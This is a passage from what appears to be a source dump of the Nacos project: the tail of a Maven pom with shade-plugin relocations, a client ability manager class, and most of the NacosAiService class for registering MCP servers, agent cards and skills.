          <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n            <optional>true</optional>\n        </dependency>\n    \n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-api</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-common</artifactId>\n            <optional>true</optional>\n        </dependency>\n        \n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-client-basic</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-encryption-plugin</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-logback-adapter-12</artifactId>\n        </dependency>\n    \n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>logback-adapter</artifactId>\n        </dependency>\n    \n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-log4j2-adapter</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-core</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n        </dependency>\n        \n        <!-- issue#12028 upgrade org.apache.httpcomponents:httpasyncclient to org.apache.httpcomponents.client5:httpclient5 -->\n        <dependency>\n            <groupId>org.apache.httpcomponents.client5</groupId>\n            <artifactId>httpclient5</artifactId>\n        </dependency>\n        \n        <!-- issue#12028 upgrade org.apache.httpcomponents:httpcore to org.apache.httpcomponents.core5:httpcore5 -->\n        <dependency>\n            <groupId>org.apache.httpcomponents.core5</groupId>\n            <artifactId>httpcore5</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>io.prometheus</groupId>\n            <artifactId>simpleclient</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.yaml</groupId>\n            <artifactId>snakeyaml</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.micrometer</groupId>\n            <artifactId>micrometer-core</artifactId>\n        </dependency>\n    </dependencies>\n    \n    <build>\n        <pluginManagement>\n            <plugins>\n                <plugin>\n                    <artifactId>maven-shade-plugin</artifactId>\n                    <version>3.6.0</version>\n                    <configuration>\n                        <createDependencyReducedPom>false</createDependencyReducedPom>\n                    </configuration>\n                    <executions>\n                        <execution>\n                            <phase>package</phase>\n                            <goals>\n                                <goal>shade</goal>\n                            </goals>\n                            <configuration>\n                                <keepDependenciesWithProvidedScope>false</keepDependenciesWithProvidedScope>\n                                <promoteTransitiveDependencies>true</promoteTransitiveDependencies>\n                                <createDependencyReducedPom>false</createDependencyReducedPom>\n                                <minimizeJar>true</minimizeJar>\n                                <createSourcesJar>true</createSourcesJar>\n                                <shadeSourcesContent>true</shadeSourcesContent>\n\n                                <filters>\n                                    <filter>\n                                        <artifact>*:*</artifact>\n                                        <excludes>\n                                            <exclude>META-INF/*.SF</exclude>\n                                            <exclude>META-INF/*.DSA</exclude>\n                                            <exclude>META-INF/*.RSA</exclude>\n                                            <exclude>**/module-info.class</exclude>\n                                        </excludes>\n                                    </filter>\n                                    <!-- <filter> -->\n                                    <!--     <artifact>io.grpc:grpc-netty-shaded</artifact> -->\n                                    <!--     <excludes> -->\n                                    <!--         <exclude> -->\n                                    <!--             META-INF/native/*.* -->\n                                    <!--         </exclude> -->\n                                    <!--     </excludes> -->\n                                    <!-- </filter> -->\n                                    <filter>\n                                        <artifact>com.google.*:*</artifact>\n                                        <excludes>\n                                            <exclude>\n                                                google/**/*.proto\n                                            </exclude>\n                                        </excludes>\n                                    </filter>\n                                    <filter>\n                                        <artifact>com.alibaba.nacos:nacos-api</artifact>\n                                        <includes>\n                                            <include>\n                                                com/alibaba/nacos/api/**/**\n                                            </include>\n                                            <include>\n                                                META-INF/**/*.*\n                                            </include>\n                                        </includes>\n                                    </filter>\n                                </filters>\n\n                                <artifactSet>\n                                    <includes>\n                                        <include>com.alibaba.nacos:nacos-api</include>\n                                        <include>com.alibaba.nacos:nacos-common</include>\n                                        <include>org.conscrypt:conscrypt-openjdk</include>\n                                        <include>org.mortbay.jetty.alpn:alpn-boot</include>\n                                        <include>org.eclipse.jetty.npn:npn-api</include>\n                                        <include>com.google.guava:guava</include>\n                                        <include>io.grpc:*</include>\n                                        <include>io.opencensus:*</include>\n                                        <include>org.javassist:*</include>\n                                        <include>io.perfmark:perfmark-api</include>\n                                        <include>com.google.*:*</include>\n                                        <include>javax.annotation:javax.annotation-api</include>\n                                        <include>org.checkerframework:*</include>\n                                        <include>org.codehaus.mojo:*</include>\n                                    </includes>\n                                </artifactSet>\n\n                                <relocations>\n                                    <relocation>\n                                        <pattern>io.grpc</pattern>\n                                        <shadedPattern>com.alibaba.nacos.shaded.io.grpc</shadedPattern>\n                                        <excludes>\n                                            <exclude>io.grpc.netty.shaded.io.grpc.netty.*</exclude>\n                                        </excludes>\n                                    </relocation>\n                                    <relocation>\n                                        <pattern>io.grpc.netty.shaded.io.grpc.netty</pattern>\n                                        <shadedPattern>com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.grpc.netty\n                                        </shadedPattern>\n                                        <includes>\n                                            <include>io.grpc.netty.shaded.io.grpc.netty.*</include>\n                                        </includes>\n                                    </relocation>\n\n                                    <relocation>\n                                        <pattern>com.google</pattern>\n                                        <shadedPattern>com.alibaba.nacos.shaded.com.google</shadedPattern>\n                                    </relocation>\n\n                                    <relocation>\n                                        <pattern>javax.annotation</pattern>\n                                        <shadedPattern>com.alibaba.nacos.shaded.javax.annotation</shadedPattern>\n                                    </relocation>\n\n                                    <relocation>\n                                        <pattern>io.perfmark</pattern>\n                                        <shadedPattern>com.alibaba.nacos.shaded.io.perfmark</shadedPattern>\n                                    </relocation>\n                                    <relocation>\n                                        <pattern>io.opencensus</pattern>\n                                        <shadedPattern>com.alibaba.nacos.shaded.io.opencensus</shadedPattern>\n                                    </relocation>\n                                    <relocation>\n                                        <pattern>org.codehaus</pattern>\n                                        <shadedPattern>com.alibaba.nacos.shaded.org.codehaus</shadedPattern>\n                                    </relocation>\n                                    <relocation>\n                                        <pattern>org.checkerframework</pattern>\n                                        <shadedPattern>com.alibaba.nacos.shaded.org.checkerframework</shadedPattern>\n                                    </relocation>\n                                    <relocation>\n                                        <pattern>android.annotation</pattern>\n                                        <shadedPattern>com.alibaba.nacos.shaded.android.annotation</shadedPattern>\n                                    </relocation>\n                                    <relocation>\n                                        <pattern>org.example</pattern>\n                                        <shadedPattern>com.alibaba.nacos.shaded.org.example</shadedPattern>\n                                    </relocation>\n                                </relocations>\n\n                                <transformers>\n                                    <transformer\n                                        implementation=\"org.apache.maven.plugins.shade.resource.ManifestResourceTransformer\"/>\n                                    <transformer\n                                        implementation=\"org.apache.maven.plugins.shade.resource.ServicesResourceTransformer\"/>\n                                </transformers>\n                            </configuration>\n                        </execution>\n                    </executions>\n                </plugin>\n                <plugin>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <version>${maven-compiler-plugin.version}</version>\n                    <configuration>\n                        <source>${client.java.version}</source>\n                        <target>${client.java.version}</target>\n                        <compilerVersion>${client.java.version}</compilerVersion>\n                        <showDeprecation>true</showDeprecation>\n                        <showWarnings>true</showWarnings>\n                        <compilerArgs>\n                            <arg>-parameters</arg>\n                        </compilerArgs>\n                    </configuration>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n        <plugins>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n    <profiles>\n        <profile>\n            <id>release-sign-artifacts</id>\n            <build>\n                <plugins>\n                    <plugin>\n                        <artifactId>maven-shade-plugin</artifactId>\n                    </plugin>\n                    <plugin>\n                        <artifactId>maven-jar-plugin</artifactId>\n                        <executions>\n                            <execution>\n                                <id>pure-jar</id>\n                                <phase>package</phase>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                                <configuration>\n                                    <classifier>pure</classifier>\n                                </configuration>\n                            </execution>\n                        </executions>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n        <profile>\n            <id>release-nacos</id>\n            <build>\n                <plugins>\n                    <plugin>\n                        <artifactId>maven-shade-plugin</artifactId>\n                    </plugin>\n                    <plugin>\n                        <artifactId>maven-jar-plugin</artifactId>\n                        <executions>\n                            <execution>\n                                <id>pure-jar</id>\n                                <phase>package</phase>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                                <configuration>\n                                    <classifier>pure</classifier>\n                                </configuration>\n                            </execution>\n                        </executions>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n    </profiles>\n</project>\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ability/ClientAbilityControlManager.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ability;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.api.ability.register.impl.SdkClientAbilities;\nimport com.alibaba.nacos.common.ability.AbstractAbilityControlManager;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**.\n * @author Daydreamer\n * @description {@link AbstractAbilityControlManager} for nacos-client.\n * @date 2022/7/13 13:38\n **/\npublic class ClientAbilityControlManager extends AbstractAbilityControlManager {\n    \n    public ClientAbilityControlManager() {\n    }\n    \n    @Override\n    protected Map<AbilityMode, Map<AbilityKey, Boolean>> initCurrentNodeAbilities() {\n        Map<AbilityMode, Map<AbilityKey, Boolean>> abilities = new HashMap<>(1);\n        abilities.put(AbilityMode.SDK_CLIENT, SdkClientAbilities.getStaticAbilities());\n        return abilities;\n    }\n\n    @Override\n    public int getPriority() {\n        // if server ability manager exist, you should choose the server one\n        return 0;\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/NacosAiService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.ai.AiService;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosAgentCardListener;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosMcpServerListener;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosPromptListener;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosSkillListener;\nimport com.alibaba.nacos.api.ai.listener.NacosAgentCardEvent;\nimport com.alibaba.nacos.api.ai.listener.NacosMcpServerEvent;\nimport com.alibaba.nacos.api.ai.listener.NacosPromptEvent;\nimport com.alibaba.nacos.api.ai.listener.NacosSkillEvent;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillResource;\nimport com.alibaba.nacos.api.ai.model.skills.SkillUtils;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.ConfigService;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.NacosFactory;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.client.ai.cache.NacosAgentCardCacheHolder;\nimport com.alibaba.nacos.client.ai.cache.NacosMcpServerCacheHolder;\nimport com.alibaba.nacos.client.ai.cache.NacosPromptCacheHolder;\nimport com.alibaba.nacos.client.ai.cache.NacosSkillCacheHolder;\nimport com.alibaba.nacos.client.ai.event.AgentCardListenerInvoker;\nimport com.alibaba.nacos.client.ai.event.AiChangeNotifier;\nimport com.alibaba.nacos.client.ai.event.McpServerChangedEvent;\nimport com.alibaba.nacos.client.ai.event.McpServerListenerInvoker;\nimport com.alibaba.nacos.client.ai.event.PromptChangedEvent;\nimport com.alibaba.nacos.client.ai.event.PromptListenerInvoker;\nimport com.alibaba.nacos.client.ai.event.SkillListenerInvoker;\nimport com.alibaba.nacos.client.ai.remote.AiClientProxy;\nimport com.alibaba.nacos.client.ai.remote.AiGrpcClient;\nimport com.alibaba.nacos.client.ai.remote.AiHttpClientProxy;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.ClientBasicParamUtil;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\n\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.Set;\n\n/**\n * Nacos AI client service implementation.\n *\n * @author xiweng.yy\n */\npublic class NacosAiService implements AiService {\n    \n    private static final Logger LOGGER = LogUtils.logger(NacosAiService.class);\n    \n    private final String namespaceId;\n    \n    private final AiGrpcClient grpcClient;\n    \n    private final AiClientProxy aiClientProxy;\n    \n    private final NacosMcpServerCacheHolder mcpServerCacheHolder;\n    \n    private final NacosAgentCardCacheHolder agentCardCacheHolder;\n    \n    private final NacosSkillCacheHolder skillCacheHolder;\n    \n    private final NacosPromptCacheHolder promptCacheHolder;\n    \n    private final AiChangeNotifier aiChangeNotifier;\n    \n    private final ConfigService configService;\n    \n    public NacosAiService(Properties properties) throws NacosException {\n        NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        LOGGER.info(ClientBasicParamUtil.getInputParameters(clientProperties.asProperties()));\n        this.namespaceId = initNamespace(clientProperties);\n        this.configService = NacosFactory.createConfigService(clientProperties.asProperties());\n        this.grpcClient = new AiGrpcClient(namespaceId, clientProperties);\n        String transportMode = clientProperties.getProperty(AiConstants.AI_TRANSPORT_MODE,\n                AiConstants.AI_TRANSPORT_MODE_GRPC);\n        if (AiConstants.AI_TRANSPORT_MODE_HTTP.equalsIgnoreCase(transportMode)) {\n            LOGGER.info(\"AI transport mode is HTTP, using AiHttpClientProxy for prompt operations.\");\n            this.aiClientProxy = new AiHttpClientProxy(namespaceId, clientProperties);\n        } else {\n            this.aiClientProxy = this.grpcClient;\n        }\n        this.mcpServerCacheHolder = new NacosMcpServerCacheHolder(grpcClient, clientProperties);\n        this.agentCardCacheHolder = new NacosAgentCardCacheHolder(grpcClient, clientProperties);\n        this.skillCacheHolder = new NacosSkillCacheHolder(configService, this.namespaceId);\n        this.promptCacheHolder = new NacosPromptCacheHolder(this.aiClientProxy, clientProperties);\n        this.aiChangeNotifier = new AiChangeNotifier();\n        start();\n    }\n    \n    private String initNamespace(NacosClientProperties properties) {\n        String tempNamespace = properties.getProperty(PropertyKeyConst.NAMESPACE);\n        if (StringUtils.isBlank(tempNamespace)) {\n            return Constants.DEFAULT_NAMESPACE_ID;\n        }\n        return tempNamespace;\n    }\n    \n    private void start() throws NacosException {\n        this.grpcClient.start(this.mcpServerCacheHolder, this.agentCardCacheHolder);\n        NotifyCenter.registerToPublisher(McpServerChangedEvent.class, 16384);\n        NotifyCenter.registerToPublisher(PromptChangedEvent.class, 16384);\n        NotifyCenter.registerSubscriber(this.aiChangeNotifier);\n    }\n    \n    @Override\n    public McpServerDetailInfo getMcpServer(String mcpName, String version) throws NacosException {\n        if (StringUtils.isBlank(mcpName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `mcpName` not present\");\n        }\n        return grpcClient.queryMcpServer(mcpName, version);\n    }\n    \n    @Override\n    public String releaseMcpServer(McpServerBasicInfo serverSpecification, McpToolSpecification toolSpecification,\n            McpEndpointSpec endpointSpecification) throws NacosException {\n        if (null == serverSpecification) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `serverSpecification` not present\");\n        }\n        if (StringUtils.isBlank(serverSpecification.getName())) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `serverSpecification.name` not present\");\n        }\n        if (null == serverSpecification.getVersionDetail() || StringUtils.isBlank(\n                serverSpecification.getVersionDetail().getVersion())) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `serverSpecification.versionDetail.version` not present\");\n        }\n        return grpcClient.releaseMcpServer(serverSpecification, toolSpecification, endpointSpecification);\n    }\n    \n    @Override\n    public void registerMcpServerEndpoint(String mcpName, String address, int port, String version)\n            throws NacosException {\n        if (StringUtils.isBlank(mcpName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `mcpName` can't be empty or null\");\n        }\n        Instance instance = new Instance();\n        instance.setIp(address);\n        instance.setPort(port);\n        instance.validate();\n        grpcClient.registerMcpServerEndpoint(mcpName, address, port, version);\n    }\n    \n    @Override\n    public void deregisterMcpServerEndpoint(String mcpName, String address, int port) throws NacosException {\n        if (StringUtils.isBlank(mcpName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `mcpName` can't be empty or null\");\n        }\n        Instance instance = new Instance();\n        instance.setIp(address);\n        instance.setPort(port);\n        instance.validate();\n        grpcClient.deregisterMcpServerEndpoint(mcpName, address, port);\n    }\n    \n    @Override\n    public McpServerDetailInfo subscribeMcpServer(String mcpName, String version,\n            AbstractNacosMcpServerListener mcpServerListener) throws NacosException {\n        if (StringUtils.isBlank(mcpName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `mcpName` can't be empty or null\");\n        }\n        if (null == mcpServerListener) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `mcpServerListener` can't be empty or null\");\n        }\n        McpServerListenerInvoker listenerInvoker = new McpServerListenerInvoker(mcpServerListener);\n        aiChangeNotifier.registerListener(mcpName, version, listenerInvoker);\n        McpServerDetailInfo result = grpcClient.subscribeMcpServer(mcpName, version);\n        if (null != result && !listenerInvoker.isInvoked()) {\n            listenerInvoker.invoke(new NacosMcpServerEvent(result));\n        }\n        return result;\n    }\n    \n    @Override\n    public void unsubscribeMcpServer(String mcpName, String version, AbstractNacosMcpServerListener mcpServerListener)\n            throws NacosException {\n        if (StringUtils.isBlank(mcpName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `mcpName` can't be empty or null\");\n        }\n        if (null == mcpServerListener) {\n            return;\n        }\n        McpServerListenerInvoker listenerInvoker = new McpServerListenerInvoker(mcpServerListener);\n        aiChangeNotifier.deregisterListener(mcpName, version, listenerInvoker);\n        if (!aiChangeNotifier.isMcpServerSubscribed(mcpName, version)) {\n            grpcClient.unsubscribeMcpServer(mcpName, version);\n        }\n    }\n    \n    @Override\n    public AgentCardDetailInfo getAgentCard(String agentName, String version, String registrationType)\n            throws NacosException {\n        if (StringUtils.isBlank(agentName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `agentName` can't be empty or null\");\n        }\n        return grpcClient.getAgentCard(agentName, version, registrationType);\n    }\n    \n    @Override\n    public void releaseAgentCard(AgentCard agentCard, String registrationType, boolean setAsLatest)\n            throws NacosException {\n        if (null == agentCard) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `agentCard` can't be null\");\n        }\n        validateAgentCardField(\"name\", agentCard.getName());\n        validateAgentCardField(\"version\", agentCard.getVersion());\n        validateAgentCardField(\"protocolVersion\", agentCard.getProtocolVersion());\n        if (StringUtils.isBlank(registrationType)) {\n            registrationType = AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE;\n        }\n        grpcClient.releaseAgentCard(agentCard, registrationType, setAsLatest);\n    }\n    \n    @Override\n    public void registerAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException {\n        if (StringUtils.isBlank(agentName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `agentName` can't be empty or null\");\n        }\n        validateAgentEndpoint(endpoint);\n        grpcClient.registerAgentEndpoint(agentName, endpoint);\n    }\n    \n    @Override\n    public void registerAgentEndpoint(String agentName, Collection<AgentEndpoint> endpoints) throws NacosException {\n        if (StringUtils.isBlank(agentName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `agentName` can't be empty or null\");\n        }\n        validateAgentEndpoint(endpoints);\n        grpcClient.registerAgentEndpoints(agentName, endpoints);\n    }\n    \n    @Override\n    public void deregisterAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException {\n        if (StringUtils.isBlank(agentName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `agentName` can't be empty or null\");\n        }\n        validateAgentEndpoint(endpoint);\n        grpcClient.deregisterAgentEndpoint(agentName, endpoint);\n    }\n    \n    @Override\n    public AgentCardDetailInfo subscribeAgentCard(String agentName, String version,\n            AbstractNacosAgentCardListener agentCardListener) throws NacosException {\n        if (StringUtils.isBlank(agentName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `agentName` can't be empty or null\");\n        }\n        if (null == agentCardListener) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `agentCardListener` can't be empty or null\");\n        }\n        AgentCardListenerInvoker listenerInvoker = new AgentCardListenerInvoker(agentCardListener);\n        aiChangeNotifier.registerListener(agentName, version, listenerInvoker);\n        AgentCardDetailInfo result = grpcClient.subscribeAgentCard(agentName, version);\n        if (null != result && !listenerInvoker.isInvoked()) {\n            listenerInvoker.invoke(new NacosAgentCardEvent(result));\n        }\n        return result;\n    }\n    \n    @Override\n    public void unsubscribeAgentCard(String agentName, String version, AbstractNacosAgentCardListener agentCardListener)\n            throws NacosException {\n        if (StringUtils.isBlank(agentName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `agentName` can't be empty or null\");\n        }\n        if (null == agentCardListener) {\n            return;\n        }\n        AgentCardListenerInvoker listenerInvoker = new AgentCardListenerInvoker(agentCardListener);\n        aiChangeNotifier.deregisterListener(agentName, version, listenerInvoker);\n        if (!aiChangeNotifier.isAgentCardSubscribed(agentName, version)) {\n            grpcClient.unsubscribeAgentCard(agentName, version);\n        }\n    }\n    \n    private void validateAgentEndpoint(Collection<AgentEndpoint> endpoints) throws NacosApiException {\n        if (null == endpoints || endpoints.isEmpty()) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `endpoints` can't be empty or null, if want to deregister endpoints, please use deregister API.\");\n        }\n        Set<String> versions = new HashSet<>();\n        for (AgentEndpoint endpoint : endpoints) {\n            validateAgentEndpoint(endpoint);\n            versions.add(endpoint.getVersion());\n        }\n        if (versions.size() > 1) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    String.format(\"Required parameter `endpoint.version` can't be different, current includes: %s.\",\n                            String.join(\",\", versions)));\n        }\n    }\n    \n    private void validateAgentEndpoint(AgentEndpoint endpoint) throws NacosApiException {\n        if (null == endpoint) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `endpoint` can't be null\");\n        }\n        if (StringUtils.isBlank(endpoint.getVersion())) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `endpoint.version` can't be empty or null\");\n        }\n        Instance instance = new Instance();\n        instance.setIp(endpoint.getAddress());\n        instance.setPort(endpoint.getPort());\n        instance.validate();\n    }\n    \n    private static void validateAgentCardField(String fieldName, String fieldValue) throws NacosApiException {\n        if (StringUtils.isEmpty(fieldValue)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `agentCard.\" + fieldName + \"` not present\");\n        }\n    }\n    \n    @Override\n    public Skill loadSkill(String skillName) throws NacosException {\n        if (StringUtils.isBlank(skillName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `skillName` not present\");\n        }\n        \n        // Build main config info\n        SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skillName);\n        \n        // Query main config (skill.json)\n        String mainConfigContent;\n        try {\n            mainConfigContent = configService.getConfig(mainConfigInfo.getDataId(), mainConfigInfo.getGroup(), 3000);\n        } catch (NacosException e) {\n            throw new NacosException(NacosException.NOT_FOUND,\n                    \"Skill main configuration not found for skillName: \" + skillName + \", error: \" + e.getMessage());\n        }\n        \n        if (StringUtils.isBlank(mainConfigContent)) {\n            throw new NacosException(NacosException.NOT_FOUND,\n                    \"Skill main configuration not found for skillName: \" + skillName);\n        }\n        \n        // Parse main config\n        SkillMainConfig mainConfig;\n        try {\n            mainConfig = JacksonUtils.toObj(mainConfigContent, SkillMainConfig.class);\n        } catch (Exception e) {\n            throw new NacosException(NacosException.SERVER_ERROR,\n                    \"Failed to parse  skill main configuration: \" + e.getMessage(), e);\n        }\n        \n        // Build Skill object\n        Skill skill = new Skill();\n        skill.setNamespaceId(this.namespaceId);\n        skill.setName(mainConfig.getName());\n        skill.setDescription(mainConfig.getDescription());\n        skill.setInstruction(mainConfig.getInstruction());\n        \n        // Query all Resource configs\n        Map<String, SkillResource> resourceMap = new HashMap<>(\n                mainConfig.getResources() != null ? mainConfig.getResources().size() : 16);\n        if (mainConfig.getResources() != null && !mainConfig.getResources().isEmpty()) {\n            for (SkillResourceRef resourceRef : mainConfig.getResources()) {\n                // Generate resourceId from type and name\n                String resourceId = SkillUtils.generateResourceId(resourceRef.getType(), resourceRef.getName());\n                \n                // Query resource config using resourceRef info\n                SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                        skillName, resourceRef.getType(), resourceRef.getName());\n                String resourceContent;\n                try {\n                    resourceContent = configService.getConfig(resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), 3000);\n                } catch (NacosException e) {\n                    LOGGER.warn(\"Resource configuration not found: dataId={}, group={}, error={}\",\n                            resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), e.getMessage());\n                    continue;\n                }\n                \n                if (StringUtils.isNotBlank(resourceContent)) {\n                    try {\n                        SkillResource resource = JacksonUtils.toObj(resourceContent, SkillResource.class);\n                        // Use resource name as key (from resource object, not resourceId)\n                        resourceMap.put(resource.getName() != null ? resource.getName() : resourceId, resource);\n                    } catch (Exception e) {\n                        LOGGER.warn(\"Failed to parse resource configuration: dataId={}, group={}, error={}\",\n                                resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), e.getMessage());\n                    }\n                }\n            }\n        }\n        skill.setResource(resourceMap);\n        \n        return skill;\n    }\n    \n    /**\n     * Skill main config (from skill.json).\n     */\n    private static class SkillMainConfig {\n        private String name;\n        private String description;\n        private String instruction;\n        private List<SkillResourceRef> resources;\n        \n        public String getName() {\n            return name;\n        }\n        \n        public void setName(String name) {\n            this.name = name;\n        }\n        \n        public String getDescription() {\n            return description;\n        }\n        \n        public void setDescription(String description) {\n            this.description = description;\n        }\n        \n        public String getInstruction() {\n            return instruction;\n        }\n        \n        public void setInstruction(String instruction) {\n            this.instruction = instruction;\n        }\n        \n        public List<SkillResourceRef> getResources() {\n            return resources;\n        }\n        \n        public void setResources(List<SkillResourceRef> resources) {\n            this.resources = resources;\n        }\n    }\n    \n    /**\n     * Skill resource reference (in skill.json).\n     */\n    private static class SkillResourceRef {\n        private String name;\n        private String type;\n        \n        public String getName() {\n            return name;\n        }\n        \n        public void setName(String name) {\n            this.name = name;\n        }\n        \n        public String getType() {\n            return type;\n        }\n        \n        